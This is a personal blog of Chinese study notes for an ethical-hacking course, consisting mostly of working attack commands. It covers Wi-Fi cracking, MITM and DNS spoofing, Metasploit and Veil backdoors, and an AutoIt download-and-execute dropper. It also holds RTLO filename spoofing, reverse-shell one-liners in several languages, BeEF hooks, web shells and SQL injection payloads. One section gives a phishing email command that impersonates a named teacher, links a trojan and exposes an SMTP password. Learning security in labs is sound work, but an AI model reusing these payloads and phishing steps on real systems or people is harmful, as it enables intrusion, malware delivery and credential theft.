Udemy道德黑客筆記

Learn Ethical Hacking From Scratch

Invoke-WebRequest -Uri https://packages.wazuh.com/4.x/windows/wazuh-agent-4.7.4-1.msi -OutFile ${env.tmp}\wazuh-agent; msiexec.exe /i ${env.tmp}\wazuh-agent /q WAZUH_MANAGER=’202.5.255.179’ WAZUH_AGENT_GROUP=’Threat_Hunting’ WAZUH_AGENT_NAME=’win7_book’ WAZUH_REGISTRATION_SERVER=’202.5.255.179’
NET START WazuhSvc

Setting Up The Lab

資源安裝連結

Kali linux下載

下載連結: https://zsecurity.org/download-custom-kali/

Kali linux更新指令

資料庫更新指令:apt-get update
軟體更新指令:apt-get install <terminator>

Kali linux指令相關網站

常用指令集: Linux Commands
用法解說網站: explainshell.com

Network Basices

課程所需網卡推薦

Kali linux監聽功能網卡推薦

Kali linux監聽功能網卡商店

網址: zsecurity shop

網卡設定

查詢網路介面資訊

指令: ifconfig
只查看無線接口指令: iwconfig

查詢無線網路網卡

指令: iwconfig

更改MAC網卡位置

step 1: ifconfig wlan0 down
step 2: ifconfig wlan0 hw ether 00:11:22:33:44:55
step 3: ifconfig wlan0 up

啟用網卡監聽模式

step 1: ifconfig wlan0 down
step 2: airmon-ng check kill (停止網路管理器運行程序)
step 3: iwconfig wlan0 mode monitor
step 4: ifconfig wlan0 up

啟用網卡監聽模式(其他方法)

note:

  1. 網卡的MAC位置設定建議開頭為00
  2. 手動更卡網卡位置在重新開機時將還原

Pre-Connection Attacks

監聽取得封包

選擇尋找目標

指令(不包含5G頻段網路): airodump-ng <wlan0>
指令(5G頻段網路,a頻段) : airodump-ng –band a <wlan0>
指令(混和頻段網路) : airodump-ng –band abg <wlan0>
選擇目標記錄下他的bssid、channel

對目標實施監聽並取得封包

指令: airodump-ng –bssid 目標MAC –channel 目標頻道 –write 檔案名 wlan0

WEP破解

step 1: 累積封包到一定數目
step 2: aircrack-ng 檔案名.cap
1
密碼:將(1)的冒號刪除輸入或輸入(2)

快速累積封包

aireplay-ng去認證攻擊

指令: aireplay-ng –deauth 攻擊次數 -a 目標網路MAC -c 目標客戶機MAC wlan0

aireplay-ng假認證攻擊

指令: aireplay-ng –fakeauth 0 -a 目標網路MAC -h 自己網卡的MAC位置(前 6 byte) wlan0

Packet Injection - ARP Request Reply Attack

說明 : 迫使連結接入點生成具有新的IV的封包
終端A: airodump-ng –bssid 目標MAC –channel 目標頻道 –write 檔案名 wlan0
終端B: aireplay-ng –fakeauth 0 -a 目標網路MAC -h 自己網卡的MAC位置(前 6 byte) wlan0
終端C: aireplay-ng –arpreplay -b 目標網路MAC -h 自己網卡的MAC位置(前 6 byte) wlan0
2

Packet Injection - Korek Chopchop Attack

說明 : 嘗試確定密鑰流
終端A: airodump-ng –bssid 目標MAC –channel 目標頻道 –write 檔案名 wlan0
終端B: aireplay-ng –fakeauth 0 -a 目標網路MAC -h 自己網卡的MAC位置(前 6 byte) wlan0
終端C: aireplay-ng –chopchop -b 目標網路MAC -h 自己網卡的MAC
等待終端C跳出是否解密(y)
3
解密完後,終端C:
4

note:
y後面接的是解密後的檔案名

終端C注入:
5

Packet Injection - Fragmentation Attack

說明 : 偽造封包注入

終端A: airodump-ng –bssid 目標MAC –channel 目標頻道 –write 檔案名 wlan0
終端B: aireplay-ng –fakeauth 0 -a 目標網路MAC -h 自己網卡的MAC位置(前 6 byte) wlan0
終端C: aireplay-ng –fragment -b 目標網路MAC -h 自己網卡的MAC位置(前 6 byte) wlan0
終端C:等待詢問是否用此數據包(y),試圖確定PRG,有可能失敗
終端C:取得密鑰流檔案.xor
終端C:使用以下兩命令製作及注入封包:
6

WPA破解(啟用WPS且PBC沒啟用)

查看是否啟用WPS

指令 : wash –interface wlan0

破解WPS

執行以下兩個終端機
7

WPA破解(禁用WPS或PBC啟用)

取得握手包

說明:監聽直到出現以下圖片右上文字
終端A指令: airodump-ng –bssid 目標MAC –channel 目標頻道 –write 檔案名 wlan0
終端B指令(加速): aireplay-ng –deauth 攻擊次數 -a 目標網路MAC -c 目標客戶機MAC wlan0
8

創建字典

說明:使用Crunch創建密碼字典
9
單字列表參考網址:
ftp://ftp.openwall.com/pub/wordlists/
openwall.com/mirrors/
gdataonline.com/downloads/GDict/
outpost9.com/files/WordLists.html
vulnerabilityassessment.co.uk/passwords.htm
packetstormsecurity.org/Crackers/wordlists/
ai.uga.edu/ftplib/natural-language/moby/
cotse.com/tools/wordlists1.htm
cotse.com/tools/wordlists2.htm
wordlist.sourceforge.net/

密碼爆破

指令aircrack-ng 檔案名.cap -w 字典路徑

note:
目前止WPA2破解唯一方式,建議以社交工程騙取密碼

加速WPA破解

Cracking the Key Quicker using a Rainbow Table(以空間換時間)

說明 : 先將密碼字典中的密碼加密,以便之後比對
創建資料庫 : airolib-ng test-db –import passwd 密碼字典.txt
創建破解網路明文件: echo “TOTOLINK_A800R(網路名)” >test-essid
10
將essid導入 : airolib-ng test-db –import essid test-essid(文件名)
將每個密碼列表與essid結合計算每個密碼的PMK:airolib-ng test-db –batch 
輸入以下指令用資料庫破解:
11

Cracking WPA/WPA2 Much Faster Using GPU(使用GUI破解)

下載驅動GUI(windown)
hashcat.net/hashcat/
12
下載hashcat二進制文件
13
將cap握手包轉成hashcat支援的格式:
hashcat.net/cap2hashcat/
14
把下圖兩文件丟到hashcat資料夾裡
15
cmd到hashcat目錄執行
執行hashcat64.exe -I 查看可用GPU
16
執行以下命令:
17

note:

  1. -m 數字 : 代表加密類型
  2. -d 數字 : 使用哪個GUI

連接後攻擊

Post Connection Attacks

Installing Windows As a Virtual machine

網址:windows模擬機下載

Post Connection Attacks-資料蒐集

netdiscover

指令 : netdiscover -r 192.168.17.1/24

note :

  1. 只能找尋目前所在子網域的主機
  2. 如果用無線網路試配器,要在虛擬機取消網路連線
    18

GUI Nmap

指令 : zenmap

MITM

ARP Poisoning Using arpspoof

查看window跟kali的網路介面 : arp -a
指令 : arpspoof -i eth0 -t 目標機器MAC 受欺騙機器MAC
19

note:

  1. 終端A:欺騙192.168.17.131(目標),我是192.168.17.2(路由器)
  2. 終端B:欺騙192.168.17.2(路由器),我是192.168.17.131(目標)
  3. 終端C:查詢kali的arp表格

指令 : echo 1 > /proc/sys/net/ipv4/ip_forward

note:
这条命令的含义是将数字 1 写入 /proc/sys/net/ipv4/ip_forward 文件中。

在 Linux 系统中,/proc/sys/net/ipv4/ip_forward 是一个特殊的文件,用于控制 IP 转发功能。IP 转发是指将收到的 IP 数据包从一个网络接口转发到另一个网络接口的功能。

当将数字 1 写入 /proc/sys/net/ipv4/ip_forward 文件时,表示启用了 IP 转发功能。这意味着 Linux 系统将允许接收到的 IP 数据包在不同的网络接口之间进行转发,而不仅仅是将数据包发送到本地系统。

通常情况下,启用 IP 转发功能是在路由器或者具有网络转发功能的计算机上使用,以便它们可以转发数据包来连接不同的网络。
只是暫時,重開機後失效
linux一般禁止ip轉接

ARP Poisoning Using bettercap

bettercap基本介紹
指令 : bettercap -iface eth0(介面)
查看運行模組 : help
20
查看運行模組詳細 : help net.probe(模組名)
開啟網路點探測器 : net.probe on
21
如上圖 : net.recon網路偵測也會自動開啟
查看偵測到的裝置列表 : net.show
22

bettercap arp欺騙模組
查看arp欺騙模組 : help arp.spoof
23
將arp.spoof.fullduplex設置為true: set arp.spoof.fullduplex true
設定目標: set arp.spoof.targets 192.168.17.131(目標ip)
開啟模組:arp.spoof on
24

note :

  1. 若arp.spoof.fullduplex設置為true : 可欺騙路由器和目標
  2. 若arp.spoof.fullduplex設置為flase : 只欺騙目標

分析模組
指令: net.sniff on

  • 舉例:
    在windows的覽器開啟網頁:http://vulnweb.com/
    25
    26
    如上圖: 可攔截未經加密的封包

bettercap快速設定

創建一個文本並寫入要執行的指令且儲存:
27
啟動: bettercap -iface eth0 -caplet spoof.cap(檔案名)

bettercap HTTPS解決

方法一(對HSTS無效)

修改文檔使其嗅探所有數據
28
查看外加腳本:caplets.show
29
運行 : hstshijack/hstshijack
30
成功使網路降級:
31

方法二(繞過HSTS)

說明:使瀏覽器誤以為在加載別的網頁
修改hstshijack,將想替換的網域跟替換成甚麼的網域加上
32
進入瀏覽器:google.ie
33
搜尋facebook:
34
即可完成
35

統整
36

DNS Spoofing - Controlling DNS Requests on The Network

啟動kali中的伺服器

1
service apache2(伺服器名稱) start

37

網頁默認存在: var/www/html

DNS欺騙(對HSTS無效)

1
2
bettercap -iface eth0 -caplet spoof.cap
help dns.spoof

38

note:

  1. dns.spoof.address:DNS欺騙地址(預設定向到自己)
  2. dns.spoof.all:欺騙全部
  3. dns.spoof.domains:欺騙的網域
1
2
set dns.spoof.all true
set dns.spoof.domains zsecurity.org,*.zsecurity.org(網域)

39

注入js

寫js文檔
更改hstshijack.cap在set hstshijack.payloadsr加上你的js文檔
40

1
2
bettercap -iface eth0 -caplet spoof.cap
hstshijack/hstshijack

41

注入成功
42

bettercap圖形介面

1
2
bettercap -iface eth0
http-ui

預設帳號:user
預設密碼:pass
43

wireshark

說明:wireshark只能捕捉自己電腦的流量,但當我們成為中間人時,可用來分析中間人接口的流量及封包

錄製封包

開啟bettercap,並使自己成為中間人
打開wireshark
選擇網路介面,開始錄製
44

過濾封包

因為有對目標發動降級攻擊,因此可以在過濾框中輸入http,來過濾封包
45
上圖:追蹤封包回應的完整訊息
46
回應了一個網頁html
找尋使用者帳號密碼
47

修改spoof文檔使得在bettercap開啟時,錄製封包,不必開啟wireshark
48

ctrl+F可在wireshark裡查找捕獲數據包的任何內容
49

Creating a Fake Access Point (Honeypot) - Practical

確認配置

  1. 無限網卡不能為監聽模式
  2. 無線網卡不能連接任何網路
  3. kali機器有連接網路(eth0)

wifi hotspot

啟動wifi hotspot
設定wifi
50

檢測自己機器是否arp中毒

xarp

下載連結:xarp

啟動:xarp
51
發動arp攻擊時:
52
因為一個網域裡的每台機器mac位置都不會重複,因此當發動arp攻擊時,會被偵測到

wireshark

開啟arp檢測
53
54

當有人試圖偵測網路上所有機器時
55

當arp中毒時
56
警告我們路由器有2個mac位置

預防方法:

  1. 有交換器能幫忙監測arp欺騙
  2. 將arp表的每個ip設為靜態的(缺點:每次變動都必須手動更改)

中間人攻擊預防方法:
無法管理網路時(大學網路,機場網路或酒店網路等):
加密自己的流量(vpn)
57

統整:
58

服務器入侵

安裝Metasploitable

下載網址:metasploitable
預設帳號: msfadmin
預設密碼: msfadmin

搜集訊息

找尋目標ip: ping URL
59
利用nmap或zenamp進行掃描
60
ftp錯誤配置,允許匿名登陸:
61
去google找尋這ftp是版本是否有漏洞

舉例(錯誤配置):

62
去google找尋這程序在做甚麼
63
由上圖可知 這是一個遠端的登錄程序
嘗試查詢如何使用並連接
64
搜尋資訊
65

metasploit框架
metasploit指令
66
msfconsole:啟動程序
show:顯示一些訊息(可用的漏洞或補助設備,有效負載等)
use:使用漏洞運行
set:設置利用漏洞的特殊選項

61
google搜尋vsftpd 2.3.4 exploit
67
發現一個后門可用metasploit攻擊
使用模塊名稱:
68

舉例(后門):

用metasploit攻擊
終端機輸入

1
2
msfconsole
use exploit/unix/ftp/vsftpd_234_backdoor #使用模組

69

1
2
show options #針對利用漏洞攻擊的選項
set RHOSTS 192.168.17.133 #設定目標ip

70

1
exploit #有時沒發生甚麼,再執行一次

運行成功
71

舉例(端口139的Samba smbd 3.X,緩衝益位):

去google發現
72
這是一個命令執行的漏洞

1
2
3
msfconsole
use exploit/multi/samba/usermap_script #使用模組
show options

73

1
set RHOSTS 192.168.17.133 #設定目標ip

選擇運行的有效負載

1
show payloads

74

有兩種主要類型
bind payloads:在目標計算機上打開一個端口,然後我們連接到該端口
reverse payloads:在我們計算機打開一個端口,讓他連接過來(比較容易繞過防火牆)

1
set PAYLOAD payload/cmd/unix/reverse_netcat
1
2
3
4
show options
set LHOST 192.168.17.132
set LPORT 5555(不一定要設定,隨便端口都可)
show options

設定完成
75

啟動

1
exploit 

連接成功
76

nexpose

下載連結: nexpose
臨時電子郵件:temp-mail.org

下載完後:

1
2
chmod +x Rapid7Setup-Linux64.bin
./Rapid7Setup-Linux64.bin

安裝完後關閉nexpose自動啟動程序

1
systemctl disable nexposeconsole.service

啟動nexpose

1
2
3
cd /opt/rapid7/nexpose/
cd nsc
./nsc.sh #啟動時要非常久,約30分鐘

完成後有一個網址可訪問
77
登陸之前設定的帳號密碼
78
登陸後,輸入之前信件裡的密鑰

添加目標
79
80
81
選擇掃描位置
82
可選擇設定日志,自動掃描
83
啟動掃描
84

掃描完成
85
發現714個漏洞,可利用攻擊223
86
機器安裝的軟件(可用來入侵之後的提權等)
87
目標機器上安裝的服務
88
危險等級及技能等級分類
89
詳細列表即可利用的攻擊工具
90

舉例:
91
可利用的模組(不一定成功)
92
特定漏洞的引用
93
解決方案:
94

生成報告
95
Audit Report:給程序員及技術人員的詳細資料
第三個:較少訊息的執行報告,給經理或沒有較多技術經驗的人編寫的

客戶端入侵

veil

下載網址:Veil-Framework

1
2
3
cd Downloads/
chmod +x install-veil
./install-veil

安裝好後,啟動

1
veil

96
exit 離開
info 獲取特定工具訊息
list 列出可用工具
options 顯示veil配置
update 更新veil
use 使用特定工具

veil有兩個主要工具:

1
list

97

1 Evasion:用來生成不可偵測的后門
2 Ordnance:用來生成有效負荷的工具(補助工具)

1
2
use 1
list #列出可用的有效負載

98

一般命名方式:
1.編成語言:將惡意代碼包裝成哪種語言
2.有效負載類型:目標計算機執行代碼的類型
3.用來連接的方式
例如:go/meterpreter/rev_https.py

特殊命名方式:
例如:lua/shellcode_inject/flat.py
產生一個正常的有效負載,這正常的有效負載注入一些惡意代碼

製作后門

1
2
3
4
veil
use 1
list
use 15

99
上面為此後門訊息,下面為我們可設定的選項

設定自己ip及端口,讓目標連過來

1
2
set LHOST 192.168.17.132
set LPORT 8080

設定一些選項,使得不被防毒偵測(設定這些沒有原因只為了讓后門看起來不一樣)

1
2
set PROCESSORS 1 #設定處理器
set SLEEP 7 #設定睡眠?秒

生成后門

1
2
generate
rev_https_8080 #給后門取名

100
生成成功

用metasploit框架監聽回應

1
2
3
4
5
6
msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_https
show options
set LHOST 192.168.17.132
set LPORT 8080

101

1
exploit

打開后門
102

成功控制電腦
103

BDFProxy(必須先成為中間人)

到安裝BDFProxy的位置(/opt/BDFProxy/)
打開配置文件,將mode改成transparent
104
將下圖區塊的host的ip改為自己電腦的,並儲存(如果目標是linux或mac就改linux和mac的區塊host)
105

到終端機輸入以下指令:

1
2
cd /opt/BDFProxy/
./bdf_proxy.py

再打開一個終端(成為中間人)

1
bettercap -iface eth0 -caplet /root/spoof.cap

106

再開一個終端,用一個防火牆把bettercap收到的訊息轉到BDFProxy

1
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080 

開啟監聽

1
msfconsole  --resource /opt/BDFProxy/bdfproxy_msf_resource.rc

當目標下載任意exe檔時會被植入後門
107

maltego

開啟maltego,並登錄帳號密碼
開啟一的新檔
108

將後門結合文件

下載或編寫腳本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <StaticConstants.au3>
#include <WindowsConstants.au3>

Local $urls = "url1,url2"

Local $urlsArray = StringSplit($urls, ",", 2 )

For $url In $urlsArray
$sFile = _DownloadFile($url)
shellExecute($sFile)

Next

Func _DownloadFile($sURL)
Local $hDownload, $sFile
$sFile = StringRegExpReplace($sURL, "^.*/", "")
$sDirectory = @TempDir & $sFile
$hDownload = InetGet($sURL, $sDirectory, 17, 1)
InetClose($hDownload)
Return $sDirectory
EndFunc ;==>_GetURLImage

將url1和url2分別改成你的偽裝文件和後門的網址
109
將副檔名改成au3

開啟compile(veil)
選擇編寫好的腳本
到IconArchive下載圖標或者上網將圖片轉為上網將圖片轉為圖標
111
convert
將檔案改名,並讓使用者下載並啟動(後門即可連接)
112

將後門結合文件的副檔名偽裝

開啟一個文本
輸入檔名(例如:good.exe)
將檔名改變由右而左偽裝(goodgpj.exe)
開啟character,並找到由右到左的符號並在gpj前插入
113
114
並將新檔名複製到檔案上即可
ps:有時下載時會將符號拿掉,因此要壓縮後再讓使用者下載

發送後門利用假電子郵件

在brevo註冊一個帳號
115

到kali linux裡打開發送郵件的程序

1
2
sendemail --help
sendemail -xu [email protected] -xp zOsq1dZ0FM2Jmfgc -s smtp-relay.brevo.com:587 -f "[email protected]" -t "[email protected]" -u "陳詠智老師在moodle的發布一條訊息" -m "36201-36201視窗設計:陳 詠智老師在moodle的發布一條訊息,請查看以下檔案:https://www.dropbox.com/scl/fi/otcdpkv8bxavxixu8sppn/good.rar?rlkey=4gjotyd07f01ro8t7hwr7h506&dl=1" -o message-header="From: 陳 詠智經由(School of Information Technology)"

sendemail -xu ray784523@gmail.com -xp zOsq1dZ0FM2Jmfgc -s 伺服器名稱:端口 -f “發信人” -t “目標” -u “標題” -m “正文+木馬連結” -o message-header=”From: 消息表頭<電子郵件>” -o message-charset=UTF-8

模仿參考網站:easydmarc.com

Beef

打開Beef,並登入
116

讓使用者電腦想辦法運行以下js(中間人攻擊,dns欺騙,釣魚網站等):

1
<script src="http://<IP>:3000/hook.js"></script>

使得kali透過web與使用者掛勾
當使用者運行此代碼網頁時,beef會出現一個可控制的瀏覽器:
117
圖示表示:
118

點開控制電腦的主選單:
119
commands:可執行的腳本
舉例:
alert
120
設定完後按execute
121
可執行任意js
122
設定完後按execute
123
可獲得電腦的螢幕截圖
124
導向到別的網頁
125
社交工程(竊取帳密)
126
受害機畫面
127
輸入受害機帳密之後
128
偽裝更新植入後門
129

預防方法:

  1. 開檔前檢查文件屬性
  2. 使用sandbox打開文件或用線上沙盒分析

網站hack

資料收集網站

查找關於擁有者資訊
網址:whois
查詢目標的技術
網址:netcraft
關於網頁全面訊息
網址:robtex

找出子網域

工具:knockpy
指令:knockpy [網域]
130

目標網站文件查找

工具:dirb
指令:dirb [target] [wordlist] [options]
使用方法:man dirb
指令:dirb http://192.168.212.104/mutillidae/
131

上傳漏洞

工具:weevly
用途:生成shell,Web服务器上执行命令的后门,使得用户能够管理被攻击的Web服务器、执行服务器端代码
指令:weevely generate 097887 /root/shell.php
weevely generate 密碼 生成位置

啟動Metasploitable,並登錄DVWA網站
132
上傳shell並複製其檔案存放的網址
133

切換到kali
指令:weevely http://192.168.212.104/dvwa/hackable/uploads/shell.php 097887
即可成功控制
134

代碼執行漏洞

135

在網頁上輸入ip位置,網頁應用程式會傳回server,在server上執行ping
可用;作為分隔符號,將兩命令串接再一起,當執行完前面指令時,執行新的命令

136

可參照以下指令來進行遠程連結
The following examples assums the hacker IP is 10.20.14 and use port 8080 for the connection.
Therefore in all f these cases you need to listen for port 8080 using the foolowing command
nc -vv -l -p 8080
BASH
bash -i >& /dev/tcp/10.20.14.203/8080 0>&1
PERL
perl -e ‘use Socket;$i=”10.20.14”;$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’
Python
python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.20.14”,8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’
PHP
php -r ‘$sock=fsockopen(“10.20.14”,8080);exec(“/bin/sh -i <&3 >&3 2>&3”);’
Ruby
ruby -rsocket -e’f=TCPSocket.open(“10.20.14”,8080).to_i;exec sprintf(“/bin/sh -i <&%d >&%d 2>&%d”,f,f,f)’
Netcat
nc -e /bin/sh 10.20.14 8080

監聽8080端口
137
在網頁應用程式輸入:192.168.1.1;nc -e /bin/sh 192.168.212.104 8080
138

139

local File Inclusion

利用此類型漏洞讀取同一伺服器的所有文件
140
修改URL參數
141

REMOTE FILE INCLUSION

伺服器支持allow_url_fopen和allow_url_include
伺服器設定檔:/etc/php5/cgi/php.ini
142
重啟網頁伺服器:sudo /etc/init.d/apache2 restart

在自己本地機上創建並編輯一個文件:
143

在 PHP 中,passthru() 函数是用来执行外部程序并且直接显示原始输出的。它与其他执行外部命令的函数(如 exec()、shell_exec() 和 system())类似,但有一些区别。
passthru() 通常用于需要捕获程序输出的场景,特别是二进制数据,如直接从 PHP 脚本传输图像或音频文件。当调用 passthru() 时,PHP 会等待外部程序执行完成,并将程序的原始输出直接传递到 PHP 的输出流。

將文件放在:
144

更改網址
145

146

SQL Injection

myspl

連接:mysql -u 帳號 -h ip地址
列出所有資料庫:show databases;
選擇資料庫:use [資料庫名稱]
列出所在資料庫中的資料表:show tables;
列出資料表內容:select * from [資料表名稱];

SQL Injection(POST)

147
當輸入帳密為zaid和123456時,後端會執行這指令從資料庫搜尋帳密是否存在:SELECT * FROM accounts WHERE username=’zaid’ AND password=’123456’
當我們輸入帳密為zaid和' and 1=1 #會變成SELECT * FROM accounts WHERE username=’zaid’ AND password='' or 1=1 #’,1=1為ture,因此不管密碼是否正確後面都為真
符號:#可使後面程式碼被註解
當我們輸入帳密為admin’#和' and 1=1 #會變成SELECT * FROM accounts WHERE username=’admin’# AND password=’’,#會註解後面程式碼,因此不用驗證密碼

SQL Injection(GET)

148

上圖網址:http://192.168.212.102/mutillidae/index.php?page=user-info.php&username=zhi&password=zhi12345&user-info-php-submit-button=View+Account+Details
注入order by:http://192.168.212.102/mutillidae/index.php?page=user-info.php&username=zhi‘ order by 1%23&password=zhi12345&user-info-php-submit-button=View+Account+Details
%23為#的編碼
当攻击者尝试 ORDER BY 10000 这样的注入时,它们可能在测试数据库表中有多少列。如果 ORDER BY 10000 导致错误,表示表中没有那么多列。通过逐步调整数字,攻击者可以确定表的确切列数。
當輸入5時正常
149
輸入6時出錯
150
代表這個帳戶表有5列
可注入union slect 1,2,3,4,5:http://192.168.212.102/mutillidae/index.php?page=user-info.php&username=zhi‘ union select 1,2,3,4,5%23&password=zhi12345&user-info-php-submit-button=View+Account+Details
151
確定有5列,其中2,3,4會被顯示
可注入union slect 1,database(),user(),version(),5:http://192.168.212.102/mutillidae/index.php?page=user-info.php&username=zhi‘ union select 1,database(),user(),version(),5%23&password=zhi12345&user-info-php-submit-button=View+Account+Details
152
可知資料庫為:owasp10,使用者:root@locale及版本
可注入union select 1,table_name,null,null,5 from information_schema.tables(SQL預設的表):http://192.168.212.102/mutillidae/index.php?page=user-info.php&username=zhi‘ union select 1,table_name,null,null,5 from information_schema.tables%23&password=zhi12345&user-info-php-submit-button=View+Account+Details
153

SELECT 1, table_name, NULL, NULL, 5:这是在选择几列数据。第一列和最后一列是硬编码的数值1和5。第二列是 table_name,它来自于 information_schema.tables 这个特殊的表,该表存储了数据库中所有表的名称。第三和第四列是用 NULL 填充的,这通常是因为原始 SQL 查询需要有相同数目的列来匹配结构,而攻击者可能不关心这些列的具体内容。

FROM information_schema.tables:information_schema 是一个内建数据库,包含了数据库的元数据,如表名、列名、数据类型等信息。information_schema.tables 是其中的一个表,包含了所有用户表和系统表的列表

可注入union select 1,table_name,null,null,5 from information_schema.tables where table_schema = ‘owasp10’:http://192.168.212.102/mutillidae/index.php?page=user-info.php&username=zhi‘ union select 1,table_name,null,null,5 from information_schema.tables where table_schema = ‘owasp10’%23&password=zhi12345&user-info-php-submit-button=View+Account+Details
154

可注入union select 1,column_name,null,null,5 from information_schema.column where table_name = ‘accounts’:http://192.168.212.102/mutillidae/index.php?page=user-info.php&username=zhi‘ union select 1,column_name,null,null,5 from information_schema.columns where table_name = ‘accounts’%23&password=zhi12345&user-info-php-submit-button=View+Account+Details
155
FROM information_schema.columns 指定了查询的数据来源。information_schema.columns 是数据库的一个特殊表,它包含了数据库中所有表的列信息。

可注入union select 1,username,password,is_admin,5 from accounts:http://192.168.212.102/mutillidae/index.php?page=user-info.php&username=zhi‘ union select 1,username,password,is_admin,5 from accounts%23&password=zhi12345&user-info-php-submit-button=View+Account+Details
156

SQL注入文件

讀取伺服器文件
可注入union select null,load_file(‘/etc/passwd’),null,null,null :http://192.168.212.102/mutillidae/index.php?page=user-info.php&username=zhi‘ union select null,load_file(‘/etc/passwd’),null,null,null%23&password=zhi12345&user-info-php-submit-button=View+Account+Details

向伺服器寫入一些內容
可注入union select null,’example example’,null,null,null into outfile ‘/tmp/example.txt’:http://192.168.212.102/mutillidae/index.php?page=user-info.php&username=zhi‘ union select null,’example example’,null,null,null into outfile ‘/tmp/example.txt’%23&password=zhi12345&user-info-php-submit-button=View+Account+Details
157
158

sqlmap

sqlmap -u ‘網址’
查看所有資料庫:sqlmap -u ‘http://192.168.212.102/mutillidae/index.php?page=user-info.php&username=zhi&password=zhi12345&user-info-php-submit-button=View+Account+Details‘ –dbs
159
查看當前帳號:sqlmap -u ‘http://192.168.212.102/mutillidae/index.php?page=user-info.php&username=zhi&password=zhi12345&user-info-php-submit-button=View+Account+Details‘ –current-user
查看當前數據庫:sqlmap -u ‘http://192.168.212.102/mutillidae/index.php?page=user-info.php&username=zhi&password=zhi12345&user-info-php-submit-button=View+Account+Details‘ –current-db
查看數據庫的table:sqlmap -u ‘http://192.168.212.102/mutillidae/index.php?page=user-info.php&username=zhi&password=zhi12345&user-info-php-submit-button=View+Account+Details‘ –tables -D ‘owasp10’
查看table columns名稱:sqlmap -u ‘http://192.168.212.102/mutillidae/index.php?page=user-info.php&username=zhi&password=zhi12345&user-info-php-submit-button=View+Account+Details‘ –columns -T accounts -D owasp10
查看所有數據:sqlmap -u ‘http://192.168.212.102/mutillidae/index.php?page=user-info.php&username=zhi&password=zhi12345&user-info-php-submit-button=View+Account+Details‘ -T accounts -D owasp10 –dump
160

XSS

Reflected XSS

161

嘗試注入代碼:<script>alert(“XSS”)
162

Stores XSS

可將代碼儲存在網頁上,任何人瀏覽網頁時都會執行
在網上輸入代碼並儲存
164
每當進入此頁面時都會執行
164

BEFF與XSS結合

打開beff,並將js代碼複製到xss網站上
165
因為有字數限制開啟檢查修改繞過
將<textarea name=”mtxMessage” cols=”50” rows=”3” maxlength=”50”></textarea>更改為<textarea name=”mtxMessage” cols=”50” rows=”3” maxlength=”500”></textarea>
166
注入代碼後每當使用者進入網站時就會執行
167

owasp zed attack proxy(ZAP)

開啟ZAP
新增活動掃描
168
開啟設定
這裡可更改掃描的強度
169
設定完後輸入網址並開始掃描
170
掃描完成可看到左邊的網站,及下方的警告
171
下方的警告旗幟顏色紅色危害最大
可點擊查看有關漏洞訊息
172
點擊右鍵在瀏覽器打開
173
174

資安報告參考範例:public-pentesting-reports

保護網站:

  1. 編寫安全代碼
  2. 審查代碼
  3. 滲透測試
  4. 錯誤懸賞
2024-01-25
Contents
  1. Learn Ethical Hacking From Scratch
    1. Setting Up The Lab
      1. 資源安裝連結
        1. Kali linux下載
        2. Kali linux更新指令
        3. Kali linux指令相關網站
    2. Network Basices
      1. 課程所需網卡推薦
        1. Kali linux監聽功能網卡推薦
        2. Kali linux監聽功能網卡商店
      2. 網卡設定
        1. 查詢網路介面資訊
        2. 查詢無線網路網卡
        3. 更改MAC網卡位置
        4. 啟用網卡監聽模式
        5. 啟用網卡監聽模式(其他方法)
    3. Pre-Connection Attacks
      1. 監聽取得封包
        1. 選擇尋找目標
        2. 對目標實施監聽並取得封包
      2. WEP破解
      3. 快速累積封包
        1. aireplay-ng去認證攻擊
        2. aireplay-ng假認證攻擊
        3. Packet Injection - ARP Request Reply Attack
        4. Packet Injection - Korek Chopchop Attack
        5. Packet Injection - Fragmentation Attack
      4. WPA破解(啟用WPS且PBC沒啟用)
        1. 查看是否啟用WPS
        2. 破解WPS
      5. WPA破解(禁用WPS或PBC啟用)
        1. 取得握手包
        2. 創建字典
        3. 密碼爆破
      6. 加速WPA破解
        1. Cracking the Key Quicker using a Rainbow Table(以空間換時間)
        2. Cracking WPA/WPA2 Much Faster Using GPU(使用GUI破解)
    4. 連接後攻擊
      1. Post Connection Attacks
        1. Installing Windows As a Virtual machine
      2. Post Connection Attacks-資料蒐集
        1. netdiscover
        2. GUI Nmap
      3. MITM
        1. ARP Poisoning Using arpspoof
        2. ARP Poisoning Using bettercap
        3. bettercap快速設定
      4. bettercap HTTPS解決
        1. 方法一(對HSTS無效)
        2. 方法二(繞過HSTS)
      5. DNS Spoofing - Controlling DNS Requests on The Network
        1. 啟動kali中的伺服器
        2. DNS欺騙(對HSTS無效)
        3. 注入js
      6. bettercap圖形介面
      7. wireshark
        1. 錄製封包
        2. 過濾封包
      8. Creating a Fake Access Point (Honeypot) - Practical
        1. 確認配置
        2. wifi hotspot
      9. 檢測自己機器是否arp中毒
        1. xarp
        2. wireshark
      10. 服務器入侵
        1. 安裝Metasploitable
        2. 搜集訊息
        3. nexpose
      11. 客戶端入侵
        1. veil
        2. 製作后門
        3. 用metasploit框架監聽回應
        4. BDFProxy(必須先成為中間人)
        5. maltego
        6. 將後門結合文件
        7. 將後門結合文件的副檔名偽裝
        8. 發送後門利用假電子郵件
        9. Beef
        10. 預防方法:
      12. 網站hack
        1. 資料收集網站
        2. 找出子網域
        3. 目標網站文件查找
        4. 上傳漏洞
        5. 代碼執行漏洞
        6. local File Inclusion
        7. REMOTE FILE INCLUSION
      13. SQL Injection
        1. myspl
        2. SQL Injection(POST)
        3. SQL Injection(GET)
        4. SQL注入文件
        5. sqlmap
      14. XSS
        1. Reflected XSS
        2. Stores XSS
        3. BEFF與XSS結合
      15. owasp zed attack proxy(ZAP)
        1. 保護網站:

⬆︎TOP